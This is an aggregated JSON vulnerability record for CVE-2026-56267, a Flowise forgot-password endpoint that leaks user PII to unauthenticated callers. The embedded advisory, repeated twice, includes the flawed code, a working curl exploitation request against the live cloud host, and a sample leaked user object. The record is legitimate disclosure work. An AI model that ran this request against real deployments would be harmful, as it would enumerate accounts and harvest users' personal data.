{"id":"CVE-2026-56267","aliases":["EUVD-2026-38118","GHSA-2mv8-gxwc-hq84","GHSA-jc5m-wrp2-qq38"],"status":"published","title":"Flowise - PII Disclosure via Unauthenticated Forgot Password Endpoint","description":"Flowise before 3.0.13 contains an information exposure vulnerability in the POST /api/v1/account/forgot-password endpoint that returns full user objects including PII to unauthenticated attackers. An attacker can enumerate valid email addresses and harvest sensitive user data including user IDs, names, account status, and timestamps by sending requests with known email addresses.","severity":{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00465,"percentile":0.40679,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-200"],"published":"2026-03-05T21:58:02Z","modified":"2026-11-08T14:05:52Z","fixes":[{"ecosystem":"npm","package":"flowise","fixed_in":["3.0.13"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"flowise","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.0.12"},{"fixed":"3.0.13"}]}]},{"source":"osv","ecosystem":"npm","package":"flowise","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.0.13"}]}]}],"products":[{"vendor":"flowise","product":"flowise"},{"vendor":"flowiseai","product":"flowise"}],"references":[{"url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-jc5m-wrp2-qq38","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/flowise-pii-disclosure-via-unauthenticated-forgot-password-endpoint","tags":["third-party-advisory","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56267","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-2mv8-gxwc-hq84"},{"url":"https://github.com/advisories/GHSA-jc5m-wrp2-qq38"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/56xxx/CVE-2026-56267.json","tags":["advisory"]},{"url":"https://github.com/FlowiseAI/Flowise","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-56267","title":"Flowise - PII Disclosure via Unauthenticated Forgot Password Endpoint","description":"Flowise before 3.0.13 contains an information exposure vulnerability in the POST /api/v1/account/forgot-password endpoint that returns full user objects including PII to unauthenticated attackers. An attacker can enumerate valid email addresses and harvest sensitive user data including user IDs, names, account status, and timestamps by sending requests with known email addresses.","status":"published","published":"2026-06-20T15:24:43.347Z","modified":"2026-11-08T14:05:52.503Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-200"],"updated_at":"2026-11-08T15:43:33.322657Z"}],"euvd":[{"id":"EUVD-2026-38118","description":"Flowise before 3.0.13 contains an information exposure vulnerability in the POST /api/v1/account/forgot-password endpoint that returns full user objects including PII to unauthenticated attackers. An attacker can enumerate valid email addresses and harvest sensitive user data including user IDs, names, account status, and timestamps by sending requests with known email addresses.","status":"published","published":"2026-06-20T15:24:43Z","modified":"2026-11-08T14:05:52Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-08T15:13:07.762611Z"}],"ghsa":[{"id":"GHSA-2mv8-gxwc-hq84","title":"Flowise before 3.0.13 contains an information exposure vulnerability in the POST /api/v1/account...","description":"Flowise before 3.0.13 contains an information exposure vulnerability in the POST /api/v1/account/forgot-password endpoint that returns full user objects including PII to unauthenticated attackers. An attacker can enumerate valid email addresses and harvest sensitive user data including user IDs, names, account status, and timestamps by sending requests with known email addresses.","status":"published","published":"2026-06-20T18:31:28Z","modified":"2026-06-20T18:31:29Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T15:08:55.672723Z"},{"id":"GHSA-jc5m-wrp2-qq38","title":"Flowise Vulnerable to PII Disclosure on Unauthenticated Forgot Password Endpoint","description":"## Summary\n\nThe `/api/v1/account/forgot-password` endpoint returns the full user object including PII (id, name, email, status, timestamps) in the response body instead of a generic success message. This exposes sensitive user information to unauthenticated attackers who only need to know a valid email address.\n\n## Vulnerability Details\n\n| Field | Value |\n|-------|-------|\n| CWE | CWE-200: Exposure of Sensitive Information to an Unauthorized Actor |\n| Affected File | `packages/server/src/enterprise/services/account.service.ts` (lines 517-545) |\n| Endpoint | `POST /api/v1/account/forgot-password` |\n| Authentication | None required |\n| CVSS 3.1 | 3.7 (Low) |\n\n## Root Cause\n\nIn `account.service.ts`, the `forgotPassword` method returns the sanitized user object instead of a simple success acknowledgment:\n\n```typescript\npublic async forgotPassword(data: AccountDTO) {\n    // ...\n    const user = await this.userService.readUserByEmail(data.user.email, queryRunner)\n    if (!user) throw new InternalFlowiseError(StatusCodes.NOT_FOUND, UserErrorMessage.USER_NOT_FOUND)\n\n    data.user = user\n    // ... password reset logic ...\n\n    return sanitizeUser(data.user)  // Returns user object with PII\n}\n```\n\nThe `sanitizeUser` function only removes sensitive authentication fields:\n\n```typescript\nexport function sanitizeUser(user: Partial\u003cUser\u003e) {\n    delete user.credential    // password hash\n    delete user.tempToken     // reset token\n    delete user.tokenExpiry\n\n    return user  // Still contains: id, name, email, status, createdDate, updatedDate\n}\n```\n\n## Impact\n\nAn unauthenticated attacker can:\n\n1. **Harvest PII**: Collect user IDs, full names, and account metadata\n2. **Profile users**: Determine account creation dates and activity patterns\n3. **Enumerate accounts**: Confirm email existence and gather associated data\n4. **Enable further attacks**: Use harvested data for social engineering or targeted phishing\n\n## Exploitation\n\n```bash\ncurl -X POST \"https://cloud.flowiseai.com/api/v1/account/forgot-password\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"user\":{\"email\":\"victim@example.com\"}}'\n```\n\n### Evidence\n\n**Request:**\n```http\nPOST /api/v1/account/forgot-password HTTP/1.1\nHost: cloud.flowiseai.com\nContent-Type: application/json\n\n{\"user\":{\"email\":\"vefag54010@naprb.com\"}}\n```\n\n**Response (201 Created):**\n```json\n{\n    \"id\": \"56c3fc72-4e85-49c9-a4b5-d1a46b373a12\",\n    \"name\": \"Vefag naprb\",\n    \"email\": \"vefag54010@naprb.com\",\n    \"status\": \"active\",\n    \"createdDate\": \"2026-01-17T15:21:59.152Z\",\n    \"updatedDate\": \"2026-01-17T15:35:06.492Z\",\n    \"createdBy\": \"56c3fc72-4e85-49c9-a4b5-d1a46b373a12\",\n    \"updatedBy\": \"56c3fc72-4e85-49c9-a4b5-d1a46b373a12\"\n}\n```\n\n\u003cimg width=\"1582\" height=\"791\" alt=\"screenshot\" src=\"https://github.com/user-attachments/assets/9880f037-6e21-41d7-a7c8-7057c6775b50\" /\u003e\n\n## Exposed Data\n\n| Field | Risk |\n|-------|------|\n| `id` | Internal user UUID - enables targeted attacks |\n| `name` | Full name - PII disclosure |\n| `email` | Email confirmation |\n| `status` | Account state information |\n| `createdDate` | User profiling |\n| `updatedDate` | Activity tracking |\n| `createdBy` / `updatedBy` | Internal reference leak |\n\n## Expected Behavior\n\nA secure forgot-password endpoint should return a generic response regardless of whether the email exists:\n\n```json\n{\"message\": \"If this email exists, a password reset link has been sent.\"}\n```\n\n## References\n\n- [CWE-200: Exposure of Sensitive Information](https://cwe.mitre.org/data/definitions/200.html)\n- [OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html#password-recovery)","status":"published","published":"2026-03-05T21:58:02Z","modified":"2026-03-05T21:58:03Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N","level":"medium"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T14:39:31.060223Z"}],"nvd":[{"id":"CVE-2026-56267","description":"Flowise before 3.0.13 contains an information exposure vulnerability in the POST /api/v1/account/forgot-password endpoint that returns full user objects including PII to unauthenticated attackers. An attacker can enumerate valid email addresses and harvest sensitive user data including user IDs, names, account status, and timestamps by sending requests with known email addresses.","status":"published","published":"2026-06-20T16:17:04.813Z","modified":"2026-06-22T19:17:26.943Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T14:12:24.912854Z"}],"osv":[{"id":"CVE-2026-56267","title":"Flowise - PII Disclosure via Unauthenticated Forgot Password Endpoint","description":"Flowise before 3.0.13 contains an information exposure vulnerability in the POST /api/v1/account/forgot-password endpoint that returns full user objects including PII to unauthenticated attackers. An attacker can enumerate valid email addresses and harvest sensitive user data including user IDs, names, account status, and timestamps by sending requests with known email addresses.","status":"published","published":"2026-06-20T15:24:43.347Z","modified":"2026-11-09T02:31:05.995689236Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N","level":"medium"}],"cwes":["CWE-200"],"updated_at":"2026-11-09T03:16:44.651171Z"},{"id":"GHSA-jc5m-wrp2-qq38","title":"Flowise Vulnerable to PII Disclosure on Unauthenticated Forgot Password Endpoint","description":"## Summary\n\nThe `/api/v1/account/forgot-password` endpoint returns the full user object including PII (id, name, email, status, timestamps) in the response body instead of a generic success message. This exposes sensitive user information to unauthenticated attackers who only need to know a valid email address.\n\n## Vulnerability Details\n\n| Field | Value |\n|-------|-------|\n| CWE | CWE-200: Exposure of Sensitive Information to an Unauthorized Actor |\n| Affected File | `packages/server/src/enterprise/services/account.service.ts` (lines 517-545) |\n| Endpoint | `POST /api/v1/account/forgot-password` |\n| Authentication | None required |\n| CVSS 3.1 | 3.7 (Low) |\n\n## Root Cause\n\nIn `account.service.ts`, the `forgotPassword` method returns the sanitized user object instead of a simple success acknowledgment:\n\n```typescript\npublic async forgotPassword(data: AccountDTO) {\n    // ...\n    const user = await this.userService.readUserByEmail(data.user.email, queryRunner)\n    if (!user) throw new InternalFlowiseError(StatusCodes.NOT_FOUND, UserErrorMessage.USER_NOT_FOUND)\n\n    data.user = user\n    // ... password reset logic ...\n\n    return sanitizeUser(data.user)  // Returns user object with PII\n}\n```\n\nThe `sanitizeUser` function only removes sensitive authentication fields:\n\n```typescript\nexport function sanitizeUser(user: Partial\u003cUser\u003e) {\n    delete user.credential    // password hash\n    delete user.tempToken     // reset token\n    delete user.tokenExpiry\n\n    return user  // Still contains: id, name, email, status, createdDate, updatedDate\n}\n```\n\n## Impact\n\nAn unauthenticated attacker can:\n\n1. **Harvest PII**: Collect user IDs, full names, and account metadata\n2. **Profile users**: Determine account creation dates and activity patterns\n3. **Enumerate accounts**: Confirm email existence and gather associated data\n4. **Enable further attacks**: Use harvested data for social engineering or targeted phishing\n\n## Exploitation\n\n```bash\ncurl -X POST \"https://cloud.flowiseai.com/api/v1/account/forgot-password\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"user\":{\"email\":\"victim@example.com\"}}'\n```\n\n### Evidence\n\n**Request:**\n```http\nPOST /api/v1/account/forgot-password HTTP/1.1\nHost: cloud.flowiseai.com\nContent-Type: application/json\n\n{\"user\":{\"email\":\"vefag54010@naprb.com\"}}\n```\n\n**Response (201 Created):**\n```json\n{\n    \"id\": \"56c3fc72-4e85-49c9-a4b5-d1a46b373a12\",\n    \"name\": \"Vefag naprb\",\n    \"email\": \"vefag54010@naprb.com\",\n    \"status\": \"active\",\n    \"createdDate\": \"2026-01-17T15:21:59.152Z\",\n    \"updatedDate\": \"2026-01-17T15:35:06.492Z\",\n    \"createdBy\": \"56c3fc72-4e85-49c9-a4b5-d1a46b373a12\",\n    \"updatedBy\": \"56c3fc72-4e85-49c9-a4b5-d1a46b373a12\"\n}\n```\n\n\u003cimg width=\"1582\" height=\"791\" alt=\"screenshot\" src=\"https://github.com/user-attachments/assets/9880f037-6e21-41d7-a7c8-7057c6775b50\" /\u003e\n\n## Exposed Data\n\n| Field | Risk |\n|-------|------|\n| `id` | Internal user UUID - enables targeted attacks |\n| `name` | Full name - PII disclosure |\n| `email` | Email confirmation |\n| `status` | Account state information |\n| `createdDate` | User profiling |\n| `updatedDate` | Activity tracking |\n| `createdBy` / `updatedBy` | Internal reference leak |\n\n## Expected Behavior\n\nA secure forgot-password endpoint should return a generic response regardless of whether the email exists:\n\n```json\n{\"message\": \"If this email exists, a password reset link has been sent.\"}\n```\n\n## References\n\n- [CWE-200: Exposure of Sensitive Information](https://cwe.mitre.org/data/definitions/200.html)\n- [OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html#password-recovery)","status":"published","published":"2026-03-05T21:58:02Z","modified":"2026-07-08T08:27:18.616880746Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N","level":"medium"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T15:46:50.336262Z"}]}}